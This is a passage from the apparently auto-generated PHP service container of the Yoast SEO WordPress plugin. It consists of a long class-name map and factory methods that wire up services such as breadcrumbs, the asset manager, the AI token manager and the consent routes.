'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Configuration_Dismissal_Endpoint' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Consent_Management_Endpoint' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Time_Based_SEO_Metrics_Endpoint' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Indexables\\Top_Page_Indexable_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Nonces\\Nonce_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Groups\\Score_Group_Link_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Cached_Readability_Score_Results_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\Cached_SEO_Score_Results_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Search_Console\\Search_Console_Parameters' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Search_Console\\Site_Kit_Search_Console_Adapter' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Search_Console\\Site_Kit_Search_Console_Api_Call' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomies_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomy_Validator' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Tracking\\Setup_Steps_Tracking_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Tracking\\Setup_Steps_Tracking_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Features_List' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Description' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Keyphrase' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Social' => true, 'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Title' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Cornerstone_Content' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Inclusive_Language_Analysis' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Jetpack_Markdown' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Multilingual' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\News_SEO' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Semrush' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Wincher' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce_SEO' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Keyphrase_Analysis' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Previously_Used_Keyphrase' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Readability_Analysis' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Description_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Keyphrase_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Social_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Title_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Description_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Keyphrase_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Social_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Title_Data_Provider' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Post_Site_Information' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Term_Site_Information' => true, 'Yoast\\WP\\SEO\\Editors\\Framework\\Word_Form_Recognition' => true, 'Yoast\\WP\\SEO\\Elementor\\Infrastructure\\Request_Post' => true, 'Yoast\\WP\\SEO\\Images\\Application\\Image_Content_Extractor' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\AI_Brand_Insights_Post_Launch' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\AI_Brand_Insights_Pre_Launch' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Fix_Assessments_Upsell' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\Black_Friday_Announcement' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\Delayed_Premium_Upsell' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\Google_Docs_Addon_Upsell' => true, 'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => true, 'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Item' => true, 'Yoast\\WP\\SEO\\Introductions\\Domain\\Introductions_Bucket' => true, 'Yoast\\WP\\SEO\\Introductions\\Domain\\Invalid_User_Id_Exception' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Available_Posts\\Available_Posts_Repository' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Configuration\\Llms_Txt_Configuration' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Populate_File_Command_Handler' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Remove_File_Command_Handler' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\File_Failure_Notification_Presenter' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Check' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Runner' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Description_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Intro_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Link_Lists_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Markdown_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Optional_Link_List_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Builders\\Title_Builder' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Application\\Markdown_Escaper' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Data_Provider\\Available_Posts_Data' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Data_Provider\\Available_Posts_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Data_Provider\\Data_Container' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Data_Provider\\Data_Interface' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Data_Provider\\Parameters' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Available_Posts\\Invalid_Post_Type_Exception' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Content_Types\\Content_Type_Entry' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\File\\Llms_File_System_Interface' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\File\\Llms_Txt_Permission_Gate_Interface' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Items\\Link' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Llms_Txt_Renderer' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Sections\\Description' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Sections\\Intro' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Sections\\Link_List' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Domain\\Markdown\\Sections\\Title' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Manual_Post_Collection' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Post_Collection_Factory' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_Llms_Txt_Permission_Gate' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Markdown_Services\\Content_Types_Collector' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Markdown_Services\\Description_Adapter' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Markdown_Services\\Sitemap_Link_Collector' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Markdown_Services\\Terms_Collector' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Markdown_Services\\Title_Adapter' => true, 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Health_Check\\File_Reports' => true, 'Yoast\\WP\\SEO\\Plans\\Application\\Add_Ons_Collector' => true, 'Yoast\\WP\\SEO\\Plans\\Application\\Duplicate_Post_Manager' => true, 'Yoast\\WP\\SEO\\Plans\\Domain\\Add_Ons\\Premium' => true, 'Yoast\\WP\\SEO\\Plans\\Domain\\Add_Ons\\Woo' => true, 'Yoast\\WP\\SEO\\Presenters\\Robots_Txt_Presenter' => true, 'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager_Interface' => true, 'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Promotion' => true, 'Yoast\\WP\\SEO\\Promotions\\Domain\\Promotion_Interface' => true, 'Yoast\\WP\\SEO\\Promotions\\Domain\\Time_Interval' => true, 'Yoast\\WP\\SEO\\Routes\\Endpoint_Interface' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Command' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Command_Handler' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Map_Command' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Map_Command_Handler' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Enhancement\\Article_Schema_Enhancer' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Enhancement\\Person_Schema_Enhancer' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Enhancement\\Schema_Enhancement_Factory' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Default_Filter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Filtering_Strategy_Interface' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Schema_Node_Filter\\WebPage_Schema_Node_Filter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Schema_Node_Filter\\WebSite_Schema_Node_Filter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Schema_Node_Property_Filter\\Base_Schema_Node_Property_Filter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Filtering\\Schema_Node_Property_Filter\\WebPage_Schema_Node_Property_Filter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Meta\\Response_Meta_Provider' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Properties_Merger' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Schema_Aggregator_Announcement' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Schema_Aggregator_Response_Composer' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Schema_Map\\Schema_Map_Builder' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Schema_Map\\Schema_Map_Xml_Renderer' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Schema_Pieces_Aggregator' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Current_Site_URL_Provider_Interface' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Indexable_Count' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Indexable_Count_Collection' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Page_Controls' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Schema_Piece' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Schema_Piece_Collection' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Domain\\Schema_Piece_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Aggregator_Config' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Elements_Context_Map\\Base_Map_Loader' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Elements_Context_Map\\Default_Elements_Context_Map' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Elements_Context_Map\\Elements_Context_Map_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Elements_Context_Map\\Elements_Context_Map_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Elements_Context_Map\\Filtered_Map_Loader' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Enhancement\\Article_Config' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Enhancement\\Person_Config' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Filtering_Strategy_Factory' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Indexable_Repository\\Indexable_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Indexable_Repository\\Indexable_Repository_Factory' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Indexable_Repository\\WordPress_Query_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Meta_Tags_Context_Memoizer_Adapter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Map\\Schema_Map_Config' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Map\\Schema_Map_Header_Adapter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Map\\Schema_Map_Indexable_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Map\\Schema_Map_Repository_Factory' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Map\\Schema_Map_WordPress_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Pieces\\Edd_Schema_Piece_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Pieces\\Schema_Piece_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Pieces\\Woo_Schema_Piece_Repository' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Pieces\\WordPress_Global_State_Adapter' => true, 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\WordPress_Current_Site_URL_Provider' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Configuration\\Task_List_Configuration' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Endpoints\\Endpoints_Repository' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Complete_FTC' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Create_New_Content' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Delete_Hello_World' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Enable_Llms_Txt' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Set_Search_Appearance_Templates' => true, 'Yoast\\WP\\SEO\\Task_List\\Application\\Tasks_Repository' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Components\\Call_To_Action_Entry' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Components\\Copy_Set' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Endpoint\\Endpoint_List' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Exceptions\\Complete_Hello_World_Task_Exception' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Exceptions\\Complete_LLMS_Task_Exception' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Exceptions\\Invalid_Post_Type_Tasks_Exception' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Exceptions\\Invalid_Tasks_Exception' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Exceptions\\Task_Not_Found_Exception' => true, 'Yoast\\WP\\SEO\\Task_List\\Domain\\Tasks\\Post_Type_Task_Interface' => true, 'Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Endpoints\\Complete_Task_Endpoint' => true, 'Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Endpoints\\Get_Tasks_Endpoint' => true, 'Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Tasks_Collectors\\Cached_Tasks_Collector' => true, 'Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Tasks_Collectors\\Tasks_Collector' => true, 'Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker' => true, 'Yoast\\WP\\SEO\\Tracking\\Domain\\Exceptions\\Invalid_Tracked_Action_Exception' => true, 'Yoast\\WP\\SEO\\Tracking\\Infrastructure\\Tracking_Link_Adapter' => true, 'Yoast\\WP\\SEO\\User_Meta\\Application\\Cleanup_Service' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Facebook' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Instagram' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Linkedin' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Myspace' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Pinterest' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Soundcloud' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Tumblr' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Wikipedia' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\X' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Youtube' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Metadesc' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Pronouns' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Title' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Content_Analysis_Disable' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Inclusive_Language_Analysis_Disable' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Keyword_Analysis_Disable' => true, 'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Noindex_Author' => true, 'Yoast\\WP\\SEO\\User_Meta\\Infrastructure\\Cleanup_Repository' => true, ]; } /** * Gets the public 'WPSEO_Addon_Manager' shared service. * * @return \WPSEO_Addon_Manager */ protected function getWPSEOAddonManagerService() { return $this->services['WPSEO_Addon_Manager'] = \Yoast\WP\SEO\WordPress\Wrapper::get_addon_manager(); } /** * Gets the public 'WPSEO_Admin_Asset_Manager' shared service. * * @return \WPSEO_Admin_Asset_Manager */ protected function getWPSEOAdminAssetManagerService() { return $this->services['WPSEO_Admin_Asset_Manager'] = \Yoast\WP\SEO\WordPress\Wrapper::get_admin_asset_manager(); } /** * Gets the public 'WPSEO_Breadcrumbs' shared autowired service. * * @return \WPSEO_Breadcrumbs */ protected function getWPSEOBreadcrumbsService() { return $this->services['WPSEO_Breadcrumbs'] = new \WPSEO_Breadcrumbs(); } /** * Gets the public 'WPSEO_Frontend' shared autowired service. * * @return \WPSEO_Frontend */ protected function getWPSEOFrontendService() { return $this->services['WPSEO_Frontend'] = new \WPSEO_Frontend(); } /** * Gets the public 'WPSEO_Replace_Vars' shared service. * * @return \WPSEO_Replace_Vars */ protected function getWPSEOReplaceVarsService() { return $this->services['WPSEO_Replace_Vars'] = \Yoast\WP\SEO\WordPress\Wrapper::get_replace_vars(); } /** * Gets the public 'WPSEO_Shortlinker' shared service. * * @return \WPSEO_Shortlinker */ protected function getWPSEOShortlinkerService() { return $this->services['WPSEO_Shortlinker'] = \Yoast\WP\SEO\WordPress\Wrapper::get_shortlinker(); } /** * Gets the public 'WPSEO_Utils' shared service. * * @return \WPSEO_Utils */ protected function getWPSEOUtilsService() { return $this->services['WPSEO_Utils'] = \Yoast\WP\SEO\WordPress\Wrapper::get_utils(); } /** * Gets the public 'Yoast\WP\Lib\Migrations\Adapter' shared autowired service. * * @return \Yoast\WP\Lib\Migrations\Adapter */ protected function getAdapterService() { return $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter(); } /** * Gets the public 'Yoast\WP\SEO\AI_Authorization\Application\Token_Manager' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\Application\Token_Manager */ protected function getTokenManagerService() { $a = ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository'] ?? $this->getCodeVerifierUserMetaRepositoryService()); return $this->services['Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager'] = new \Yoast\WP\SEO\AI_Authorization\Application\Token_Manager(($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository'] ?? $this->getAccessTokenUserMetaRepositoryService()), new \Yoast\WP\SEO\AI_Authorization\Application\Code_Verifier_Handler(($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), $a, new \Yoast\WP\SEO\AI_Authorization\Infrastructure\Code_Generator()), ($this->services['Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler'] ?? $this->getConsentHandlerService()), ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository'] ?? $this->getRefreshTokenUserMetaRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler'] ?? $this->getRequestHandlerService()), $a, new \Yoast\WP\SEO\AI_Generator\Infrastructure\WordPress_URLs()); } /** * Gets the public 'Yoast\WP\SEO\AI_Authorization\User_Interface\Callback_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\User_Interface\Callback_Route */ protected function getCallbackRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Callback_Route'] = new \Yoast\WP\SEO\AI_Authorization\User_Interface\Callback_Route(($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository'] ?? $this->getAccessTokenUserMetaRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository'] ?? $this->getRefreshTokenUserMetaRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository'] ?? $this->getCodeVerifierUserMetaRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Authorization\User_Interface\Refresh_Callback_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\User_Interface\Refresh_Callback_Route */ protected function getRefreshCallbackRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Refresh_Callback_Route'] = new \Yoast\WP\SEO\AI_Authorization\User_Interface\Refresh_Callback_Route(($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository'] ?? $this->getAccessTokenUserMetaRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository'] ?? $this->getRefreshTokenUserMetaRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository'] ?? $this->getCodeVerifierUserMetaRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Consent\Application\Consent_Handler' shared autowired service. * * @return \Yoast\WP\SEO\AI_Consent\Application\Consent_Handler */ protected function getConsentHandlerService() { return $this->services['Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler'] = new \Yoast\WP\SEO\AI_Consent\Application\Consent_Handler(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\AI_Consent\User_Interface\Ai_Consent_Integration' shared autowired service. * * @return \Yoast\WP\SEO\AI_Consent\User_Interface\Ai_Consent_Integration */ protected function getAiConsentIntegrationService() { return $this->services['Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Ai_Consent_Integration'] = new \Yoast\WP\SEO\AI_Consent\User_Interface\Ai_Consent_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Consent\User_Interface\Consent_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Consent\User_Interface\Consent_Route */ protected function getConsentRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Consent_Route'] = new \Yoast\WP\SEO\AI_Consent\User_Interface\Consent_Route(($this->services['Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler'] ?? $this->getConsentHandlerService()), ($this->services['Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager'] ?? $this->getTokenManagerService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Free_Sparks\User_Interface\Free_Sparks_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Free_Sparks\User_Interface\Free_Sparks_Route */ protected function getFreeSparksRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Free_Sparks\\User_Interface\\Free_Sparks_Route'] = new \Yoast\WP\SEO\AI_Free_Sparks\User_Interface\Free_Sparks_Route(new \Yoast\WP\SEO\AI_Free_Sparks\Application\Free_Sparks_Handler(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())))); } /** * Gets the public 'Yoast\WP\SEO\AI_Generator\User_Interface\Ai_Generator_Integration' shared autowired service. * * @return \Yoast\WP\SEO\AI_Generator\User_Interface\Ai_Generator_Integration */ protected function getAiGeneratorIntegrationService() { return $this->services['Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Ai_Generator_Integration'] = new \Yoast\WP\SEO\AI_Generator\User_Interface\Ai_Generator_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client'] ?? ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client'] = new \Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client())), 